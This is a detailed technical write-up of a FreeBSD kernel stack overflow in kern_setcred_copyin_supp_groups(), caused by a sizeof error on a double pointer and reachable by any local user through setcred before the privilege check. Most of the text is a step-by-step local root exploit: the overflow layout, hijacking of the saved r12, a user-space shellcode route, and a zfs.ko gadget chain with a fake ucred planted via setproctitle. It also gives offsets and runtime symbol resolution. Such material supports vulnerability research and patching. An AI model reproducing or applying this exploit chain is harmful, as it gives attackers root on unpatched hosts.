File: sys/kern/kern_prot.c
Function: kern_setcred_copyin_supp_groups()
Lines: 528-533

The function signature uses a double pointer for the groups argument:

  static int
  kern_setcred_copyin_supp_groups(struct setcred *const wcred,
      const u_int flags, gid_t *const smallgroups, gid_t **const groups)

Because groups has type gid_t **, the expression sizeof(*groups) evaluates to sizeof(gid_t *) == 8 on LP64, rather than the intended sizeof(gid_t) == 4. This sizeof expression is used in two places:

  /* line 528-530: allocation */
  *groups = wcred->sc_supp_groups_nb sc_supp_groups_nb + 1) *
      sizeof(*groups), M_TEMP, M_WAITOK);      /* sizeof(*groups) == 8 */

  /* line 532-533: copyin */
  error = copyin(wcred->sc_supp_groups, *groups + 1,
      wcred->sc_supp_groups_nb * sizeof(*groups)); /* sizeof(*groups) == 8 */

The allocation on the heap path is 2× oversized, which is safe. However, for the stack path (when sc_supp_groups_nb < CRED_SMALLGROUPS_NB == 16), *groups is set to smallgroups, a gid_t[CRED_SMALLGROUPS_NB] array declared as a local variable in the caller user_setcred():

  gid_t smallgroups[CRED_SMALLGROUPS_NB];   /* 16 * 4 = 64 bytes */

The copyin destination is *groups + 1 == &smallgroups[1], which leaves 15 * 4 == 60 bytes of usable space. The copyin copies sc_supp_groups_nb * sizeof(*groups) == sc_supp_groups_nb * 8 bytes. With the maximum stack-path value of sc_supp_groups_nb == 15:

  Bytes written:    15 * 8  = 120
  Buffer capacity:  15 * 4  =  60
  Overflow:                    60 bytes past the end of smallgroups[]

The overflow is written with fully attacker-controlled data from user space (wcred->sc_supp_groups points to an attacker-supplied buffer).

Trigger path and privilege-check ordering

The overflow happens in kern_setcred_copyin_supp_groups(), which is called from user_setcred() at line 604 -- before the privilege check. The privilege check (priv_check_cred(PRIV_CRED_SETCRED)) does not occur until kern_setcred() is called at line 623, and within that function at line 813. Any local user can trigger the overflow by issuing:

  setcred(SETCREDF_SUPP_GROUPS, &wcred, sizeof(wcred))

with wcred.sc_supp_groups_nb == 15 and wcred.sc_supp_groups pointing to a 15 * 8 == 120-byte user-space buffer.

LPE technique (no SMAP, no SMEP)

The 60-byte overflow corrupts every callee-saved register slot in user_setcred()'s prologue except saved RBP. Compiler ordering on 14.4 GENERIC places the corruption window at [rbp - 0x40 .. -0x05]:

  buf[60..67]   mac.m_buflen
  buf[68..75]   mac.m_string
  buf[76..83]   td pointer spill        <- controls kern_setcred(td=...)
  buf[84..91]   saved rbx
  buf[92..99]   saved r12               <- propagates up the stack
  buf[100..107] saved r13
  buf[108..115] saved r14
  buf[116..119] low 32 bits of saved r15

The crucial observation is that sys_setcred()'s prologue saves only rbp/r14/rbx -- it does not save r12. The corrupted r12 popped by user_setcred()'s epilogue therefore propagates unchanged through sys_setcred() up to amd64_syscall(), which at +0x155 uses it as if it were the live td_proc pointer:

  ffffffff8105b6e5: mov  rcx, [r12 + 0x3f8]   ; r12 fully controlled
  ffffffff8105b6ed: mov  rdi, rbx              ; rdi = real curthread
  ffffffff8105b6f0: mov  esi, eax              ; esi = setcred retval
  ffffffff8105b6f2: call [rcx + 0xc8]         ; INDIRECT CALL

This is a two-level indirect call entirely controlled by the attacker: *(r12+0x3f8) supplies rcx, and *(rcx+0xc8) is the call target.

Without SMAP, the kernel happily dereferences user-mode pointers, so both indirections can be satisfied by fake structures placed in user memory. Without SMEP, the indirect call may target user-space code.

The published no-SMAP exploit constructs a fake struct sysentvec whose sv_set_syscall_retval slot (offset 0xc8) points to user-space shellcode. The shellcode reads gs:[0] for the real curthread, restores r12, then zeroes cr_uid/cr_ruid/cr_svuid/cr_rgid/cr_svgid on the real td_ucred and returns.

LPE technique (SMAP/SMEP, no info-leak)

The chain primitive at amd64_syscall+0x155 reaches its target with rcx = K1 (an attacker-chosen 8-byte value). If the target gadget writes rcx + 1 to td->td_ucred, the current thread's credential pointer is now set to any address we choose -- and if that address happens to lie inside a kernel buffer we control (a heap-resident pargs slab), the fake credential we planted there immediately takes effect.

The gadget lives inside zfs.ko, in ZSTD_initCStream_advanced:

  push rbp; mov rbp, rsp
  push r15; push r14; push rbx
  sub  rsp, 0x38
  mov  rbx, rdx
  mov  r14, rsi
  mov  r15, rdi                 ; r15 = arg1 = real_td (from chain)
  mov  rax, [rip + __stack_chk_guard]
  mov  [rbp - 0x20], rax        ; canary spill
  xor  eax, eax
  cmp  dword ptr [rbp + 0x2c], 0
  lea  rdx, [rcx + 1]           ; rdx = K1 + 1
  cmovne rax, rdx
  test rcx, rcx
  mov  dword ptr [rdi + 0x430], 0
  cmovne rax, rdx               ; rcx != 0 (always) -> rax = K1 + 1
  mov  qword ptr [rdi + 0x180], rax  ; *** td->td_ucred = K1+1 ***

The two cmovne instructions both fire whenever rcx != 0. The function continues with stores into td+0x10..0x3c which corrupt TAILQ_ENTRY scheduler-link fields with garbage drawn from amd64_syscall's stack frame, then performs its canary check and returns. Empirically the corruption is survivable until the thread next reaches the scheduler.

Fake ucred placement (parent's pargs slab)

setproctitle(2) is exposed to unprivileged users; the kernel allocates a 256-byte slot in the PARGS UMA zone and copies up to 244 user bytes verbatim into the ar_args field. The parent process's pargs slab P_base becomes our fake_ucred:

  slot offset  field         value
  +0x20        cr_ref        0x7fffffff (high; defeats crfree)
  +0x28        cr_users      0x7fffffff
  +0x2c        cr_flags      0
  +0x60        cr_uid        0
  +0x64        cr_ruid       0
  +0x68        cr_svuid      0
  +0x6c        cr_ngroups    1
  +0x88        cr_prison     &prison0 (real kernel symbol)
  +0xb0        cr_groups     &prison0 (TRICK: see note)
  +0xb8        cr_agroups    1
  +0xc7        call target   ZSTD_initCStream_advanced

cr_groups trick: setting cr_groups = &prison0 makes cred->cr_groups[0] read the first 4 bytes of struct prison, which is pr_id = 0 = wheel gid. This lets the in-kernel groupmember(0, cred) check inside the VFS chmod path return 1 without a NULL dereference.

K1 placement (child's pargs slab)

The chain primitive reads K1 via mov rcx, [r12 + 0x3f8]; we want K1 = P_base - 1 so that K1+1 = P_base is our fake ucred. We can't write P_base - 1 back into the parent's slab (it already contains fake ucred fields), and we can't use the td_name trick: UMA-heap addresses always have a NUL byte at byte offset 4 of P_base - 1, which truncates thr_set_name's strlcpy.

Solution: fork a CHILD process that does its own setproctitle with the qword P_base - 1 placed at offset 0xd0 of its own pargs. The chain then sets r12 = C_base + 0xd0 - 0x3f8, so that [r12 + 0x3f8] = qword at (C_base + 0xd0) = K1.

The parent must not exit and must not setproctitle again before the child triggers the chain -- otherwise pargs is freed and P_base may be reused.

Self-resolving kernel symbols

The exploit resolves ZSTD_initCStream_advanced and &prison0 at runtime through the unprivileged kldnext(2)+kldsym(2) interface, so a single binary is portable across the entire 14.4 patchset. The kernel image itself contains a different ZSTD library with incompatible struct offsets, so for the ZSTD lookup we skip fileid=1 (kernel) and pick the symbol from a loaded module (zfs.ko on a typical server).

Post-exploit

The thread has effective root for VFS operations. From here, installing persistence or spawning a privileged shell is a routine post-exploitation step.